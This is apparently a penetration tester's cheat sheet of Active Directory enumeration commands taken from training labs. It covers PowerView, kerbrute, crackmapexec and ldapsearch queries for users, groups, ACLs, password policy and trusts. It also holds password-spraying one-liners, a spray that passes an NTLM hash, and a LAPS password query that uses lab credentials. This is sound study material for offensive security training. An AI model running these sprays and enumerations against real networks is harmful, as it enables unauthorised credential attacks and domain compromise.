Skip to content

Post Enumeration

Identifying Domain

Import-Module .\PowerView.ps1
Get-NetDomain
#|->
#Forest                  : za.tryhackme.com
#DomainControllers       : {THMDC.za.tryhackme.com}
#Children                : {}
#DomainMode              : Windows2012R2Domain
#DomainModeLevel         : 6
#Parent                  :
#PdcRoleOwner            : THMDC.za.tryhackme.com
#RidRoleOwner            : THMDC.za.tryhackme.com
#InfrastructureRoleOwner : THMDC.za.tryhackme.com
#Name                    : za.tryhackme.com

Import-Module .\PowerView.ps1
Get-NetDomainController
#|->
#Forest                     : za.tryhackme.com                                       
#CurrentTime                : 6/25/2023 12:35:54 PM                                  
#HighestCommittedUsn        : 184458                                                 
#OSVersion                  : Windows Server 2019 Standard                           
#Roles                      : {SchemaRole, NamingRole, PdcRole, RidRole...}          
#Domain                     : za.tryhackme.com                                       
#IPAddress                  : 10.200.58.101                                          
#SiteName                   : Default-First-Site-Name                                
#SyncFromAllServersCallback :                                                        
#InboundConnections         : {}                                                     
#OutboundConnections        : {}                                                     
#Name                       : THMDC.za.tryhackme.com                                 
#Partitions                 : {DC=za,DC=tryhackme,DC=com,                            
#                             CN=Configuration,DC=za,DC=tryhackme,DC=com,            
#                             CN=Schema,CN=Configuration,DC=za,DC=tryhackme,DC=com,  
#                             DC=DomainDnsZones,DC=za,DC=tryhackme,DC=com...}

Identifying Hosts

get list of computers 

Import-Module .\PowerView.ps1
Get-DomainComputer -Domain za.tryhackme.com | select name
Get-DomainComputer -Domain za.tryhackme.com | select dnshostname
get one computer details 
Import-Module .\PowerView.ps1
Get-DomainComputer -name THMDC -Domain za.tryhackme.com
Get-DomainComputer -name THMIIS -Domain za.tryhackme.com
Get-DomainComputer -name THMMDT -Domain za.tryhackme.com
Get-DomainComputer -name THMJMP1 -Domain za.tryhackme.com
#|->
#pwdlastset                    : 6/8/2022 6:22:43 PM
#logoncount                    : 331
#msds-generationid             : {44, 74, 42, 236...}
#serverreferencebl             : CN=THMDC,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Confi 
#                                guration,DC=za,DC=tryhackme,DC=com
#badpasswordtime               : 1/1/1601 12:00:00 AM
#distinguishedname             : CN=THMDC,OU=Domain Controllers,DC=za,DC=tryhackme,DC=com
#objectclass                   : {top, person, organizationalPerson, user...}
#lastlogontimestamp            : 6/24/2023 1:09:07 PM
#name                          : THMDC
#objectsid                     : S-1-5-21-3330634377-1326264276-632209373-1001
#samaccountname                : THMDC$
#localpolicyflags              : 0
#codepage                      : 0
#samaccounttype                : MACHINE_ACCOUNT
#whenchanged                   : 6/24/2023 12:09:07 PM
#accountexpires                : NEVER
#countrycode                   : 0
#operatingsystem               : Windows Server 2019 Standard
#instancetype                  : 4
#msdfsr-computerreferencebl    : CN=THMDC,CN=Topology,CN=Domain System Volume,CN=DFSR-GlobalSetti 
#                                ngs,CN=System,DC=za,DC=tryhackme,DC=com
#objectguid                    : 910d503f-f1ba-428c-b5ea-14fc2b6972a0
#operatingsystemversion        : 10.0 (17763)
#lastlogoff                    : 1/1/1601 12:00:00 AM
#objectcategory                : CN=Computer,CN=Schema,CN=Configuration,DC=za,DC=tryhackme,DC=com 
#dscorepropagationdata         : {2/24/2022 9:58:38 PM, 1/1/1601 12:00:01 AM}
#serviceprincipalname          : {TERMSRV/THMDC, TERMSRV/THMDC.za.tryhackme.com, Dfsr-12F9A27C-BF 
#                                97-4787-9364-D31B6C55EB04/THMDC.za.tryhackme.com,
#                                ldap/THMDC.za.tryhackme.com/ForestDnsZones.za.tryhackme.com...}  
#usncreated                    : 12293
#lastlogon                     : 6/25/2023 1:18:06 PM
#badpwdcount                   : 0
#cn                            : THMDC
#useraccountcontrol            : SERVER_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION
#whencreated                   : 2/24/2022 9:58:38 PM
#primarygroupid                : 516
#iscriticalsystemobject        : True
#msds-supportedencryptiontypes : 28
#usnchanged                    : 172069
#ridsetreferences              : CN=RID Set,CN=THMDC,OU=Domain
#                                Controllers,DC=za,DC=tryhackme,DC=com
#dnshostname                   : THMDC.za.tryhackme.com

Identifying Users

🚀 From windows (domain joined)

PowerView.ps1

Import-Module .\PowerView.ps1
get user list 
Get-NetUser | Select cn, samaccountname, description
get user details 
Get-DomainUser -Identity olivia.goodwin -Domain za.tryhackme.com | select *
Get-DomainUser -Identity olivia.goodwin -Domain za.tryhackme.com | select samaccountname,memberof

net user

get user list 

net user /domain
get user details 
net user olivia.goodwin /domain

🚀 From linux

responder 

responder -I eth0
responder -I eth0 -rdwv
kerbrute – enumerating users 
/opt/windows/kerbrute userenum --help
/opt/windows/kerbrute userenum -d za.tryhackme.com --dc THMDC.za.tryhackme.com user.txt
/opt/windows/kerbrute userenum -d za.tryhackme.com --dc 10.200.58.101 user.txt
nmap – enumerating users 
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='CONTROLLER.local',userdb=user.txt" $IP
kerbrute - bruteforce a single user's password from a wordlist 
/opt/windows/kerbrute bruteuser --help
/opt/windows/kerbrute bruteuser -v -d za.tryhackme.com --dc THMDC.za.tryhackme.com pass.txt rachel.dunn
enum4linux 
enum4linux -U $IP  | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"
rpcclient 
rpcclient -U "" -N $IP
rpcclient> enumdomusers
crackmapexec 
crackmapexec smb $IP --users
crackmapexec smb $IP -u $USER -p $PASS --users
ldapsearch 
ldapsearch -v -x -b "DC=za,DC=tryhackme,DC=com" -H "ldap://$IP_DC" "(objectclass=*)"
ldapsearch -v -x -b "DC=za,DC=tryhackme,DC=com" -H "ldap://$IP_DC" "(objectclass=*)" -D $USER@$DOMAIN -w $PASS
ldapsearch -v -x -b "DC=za,DC=tryhackme,DC=com" -H "ldap://$IP_DC" "(objectclass=user)" -D $USER@$DOMAIN -w $PASS
ldapsearch -v -x -b "DC=za,DC=tryhackme,DC=com" -H "ldap://$IP_DC" "(objectclass=computer)" -D $USER@$DOMAIN -w $PASS

ldapsearch -v -x -b "DC=hutch,DC=offsec" -H "ldap://$IP" "(objectclass=*)"
ldapsearch -v -x -b "DC=hutch,DC=offsec" -H "ldap://$IP" "(objectclass=user)"
get user list with description 
ldapsearch -v -x -b "DC=hutch,DC=offsec" -H "ldap://$IP" -s sub -a search -LLL -o ldif-wrap=no dn description "(objectclass=user)"
get user list with names and description 
ldapsearch -v -x -b "DC=hutch,DC=offsec" -H "ldap://$IP" -s sub -a search -LLL -o ldif-wrap=no name sAMAccountName userPrincipalName description "(objectclass=user)"

  • -v: Enables verbose mode, which provides more detailed output about the LDAP communication.
  • -x: Uses simple authentication, which sends the bind DN and password in plaintext. This option is not secure and should only be used in secure environments or for testing purposes.
  • -b "DC=hutch,DC=offsec": Specifies the base DN (distinguished name) for the search. This is the starting point for the search in the directory tree.
  • -H "ldap://$IP": Specifies the LDAP server to connect to. $IP is a variable that contains the IP address of the server.
  • -s sub: Specifies the scope of the search. The sub value indicates that the search should be performed recursively from the base DN.
  • -a search: Specifies the type of search to perform. The search value indicates that the search should retrieve all attributes of matching entries.
  • dn description: Specifies the attributes to retrieve for matching entries. In this case, the dn and description attributes are requested.
  • "(objectclass=user)": Specifies the search filter to use. In this case, the filter selects all entries that have the objectclass attribute set to user.

windapsearch.py 

./windapsearch.py --dc-ip $IP -u "" -U

Identifying Groups

net group

get list 

net group /domain
get nembers of group 
net group "Tier 0 Admins" /domain
net group "Tier 1 Admins" /domain
net group "Tier 2 Admins" /domain

powerView

list 

Import-Module .\PowerView.ps1
Get-NetGroup | select *
Get-NetGroup | select samaccountname, member
get nembers of group 
Import-Module .\PowerView.ps1
Get-NetGroupMember  "Tier 1 Admins"
# |->
# GroupDomain             : INLANEFREIGHT.LOCAL
# GroupName               : Tier 1 Admins
# GroupDistinguishedName  : CN=Tier 1 Admins,OU=Security Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
# MemberDomain            : INLANEFREIGHT.LOCAL
# MemberName              : NY340
# MemberDistinguishedName : CN=Annie Vazquez,OU=Finance,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
# MemberObjectClass       : user
# MemberSID               : S-1-5-21-3327542485-274640656-2609762496-1716
search group parent 
Get-DomainGroup -Identity "SQL Admins" | select memberof

Identifying Password

🚀 Internal Password Spraying from a Linux Host

Using a Bash one-liner for the Attack 

for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority; done
Using Kerbrute for the Attack 
kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 users.txt Welcome1
Using CrackMapExec & Filtering Logon Failures 
sudo crackmapexec smb 172.16.5.5 -u valid_users.txt -p Password123 | grep +
Local Admin Password Reuse Spraying with CrackMapExec 
sudo crackmapexec smb --local-auth 172.16.5.0/23 -u administrator -H 88ad09182de639ccc6579eb0849751cf | grep +

🚀 Internal Password Spraying from a Windows Host

wget https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/master/DomainPasswordSpray.ps1 -O /opt/windows/DomainPasswordSpray.ps1

Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinue
https://github.com/dafthack/DomainPasswordSpray

Enumeration with valid credential

🚀 (from linux)

🚀 (from windows)

Enumerating the Password Policy

🚀 Enumerating the Password Policy – from Linux – Credentialed

crackmapexec 

crackmapexec smb $IP -u <USER> -p <PASS> --pass-pol
With valid domain credentials, the password policy can also be obtained remotely using tools such as CrackMapExec or rpcclient.

🚀 Enumerating the Password Policy – from Linux – SMB NULL Sessions

rpcclient 

rpcclient -U "" -N $IP
|->
rpcclient $> querydominfo
Without credentials, we may be able to obtain the password policy via an SMB NULL session or LDAP anonymous bind. querydominfo - obtain information about the domain and confirm NULL session access. getdompwinfo - obtaining the password policy. enum4linux 
enum4linux -P $IP
enum4linux-ng -P $IP -oA ilfreight

🚀 Enumerating Null Session – from Windows

Establish a null session from windows 

net use \\DC01\ipc$ "" /u:""               ## Establish a null session from windows
net use \\DC01\ipc$ "" /u:guest            ## Error: Account is Disabled
net use \\DC01\ipc$ "password" /u:guest    ## Error: Password is Incorrect
net use \\DC01\ipc$ "password" /u:guest    ## Error: Account is locked out (Password Policy)

🚀 Enumerating the Password Policy – from Linux – LDAP Anonymous Bind

LDAP anonymous binds allow unauthenticated attackers to retrieve information from the domain, such as a complete listing of users, groups, computers, user account attributes, and the domain password policy. With an LDAP anonymous bind, we can use LDAP-specific enumeration tools such as windapseach.py, ldapsearch, ad-ldapdomaindump.py, etc., to pull the password policy. With ldapsearch, it can be a bit cumbersome but doable. ldapsearch - from linux 

 ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
net accounts - from windows 
net accounts

Enumerating Security Controls

Checking the Status of Defender with Get-MpComputerStatus 

Get-MpComputerStatus
Using Get-AppLockerPolicy cmdlet 
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
Enumerating Language Mode 
$ExecutionContext.SessionState.LanguageMode
Using Find-LAPSDelegatedGroups 
Find-LAPSDelegatedGroups
Using Find-AdmPwdExtendedRights 
Find-AdmPwdExtendedRights
Using Get-LAPSComputers 
Get-LAPSComputers

Enumerating ACL

🚀 Enumerating ACLs with PowerView

wley is a user that we obtained.

Let's dig in and see if this user (wley) has any interesting ACL rights that we could take advantage of. We first need to load PowerView.ps1 

Import-Module .\PowerView.ps1

Then need to get the SID of our target user to search effectively. 

$sid = Convert-NameToSid wley
# $sid = Convert-NameToSid forend

Searching through all Domain Object - option 1

We can then use the Get-DomainObjectACL function to perform our targeted search. In the below example, we are using this function to find all domain objects that our user has rights over by mapping the user's SID using the $sid variable to the SecurityIdentifier property, which is what tells us who has the given right over an object.

Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}
|->
ObjectDN :     CN=Dana Amundsen,OU=DevOps,...
ObjectAceType: User-Force-Change-Password
ObjectSID:     S-1-5-21-3842939050-3880317879-2865463114-1176

User wley has the right to force change the Dana Amundsen user password

Get Dana Amundsen profile 

get-aduser -Filter 'Name -like "Dana Amundsen"'

Searching through all Users Object - option 2

Creating a List of Domain Users 

Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName > ad_users.txt

Search through users 

foreach($line in [System.IO.File]::ReadLines("C:\tools\ad_users.txt")) {get-acl    "AD:\$(Get-ADUser $line)" | Select-Object Path -ExpandProperty Access | Where-Object {$_.IdentityReference -match 'INLANEFREIGHT\\wley'}}

Performing a Reverse Search & Mapping to a GUID Value 

$guid="00299570-246d-11d0-a768-00aa006e0529"

Get-ADObject -SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingContext)" | Where-Object {$_.ObjectClass -like 'ControlAccessRight'} | Select Name,DisplayName,DistinguishedName,rightsGuid| ?{$_.rightsGuid -eq $guid} | fl

Microsoft LAPS

LAPS is a tool that periodically changes the local administrator's password when it expires. It then stores the password details in the Active Directory. Using the credentials we have already found (fmcsorley:CrabSharkJellyfish192), let's attempt to query LDAP for the local administrator password.

ldapsearch -v -x -b "DC=hutch,DC=offsec" -D fmcsorley@HUTCH.OFFSEC -w CrabSharkJellyfish192 -H "ldap://$IP" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd

Enumerating Trust Relationships

from powershell

Using Get-ADTrust 

Import-Module activedirectory
Get-ADTrust -Filter *

Checking for Existing Trusts using Get-DomainTrust 

Import-Module .\PowerView.ps1
Get-DomainTrust

Using Get-DomainTrustMapping 

Import-Module .\PowerView.ps1
Get-DomainTrustMapping

Checking Users in the Child Domain using Get-DomainUser 

Import-Module .\PowerView.ps1
Get-DomainUser -Domain LOGISTICS.INLANEFREIGHT.LOCAL | select SamAccountName

from cmd

Using netdom to query domain trust 

netdom query /domain:inlanefreight.local trust

Using netdom to query domain controllers 

netdom query /domain:inlanefreight.local dc

Using netdom to query workstations and servers 

netdom query /domain:inlanefreight.local workstation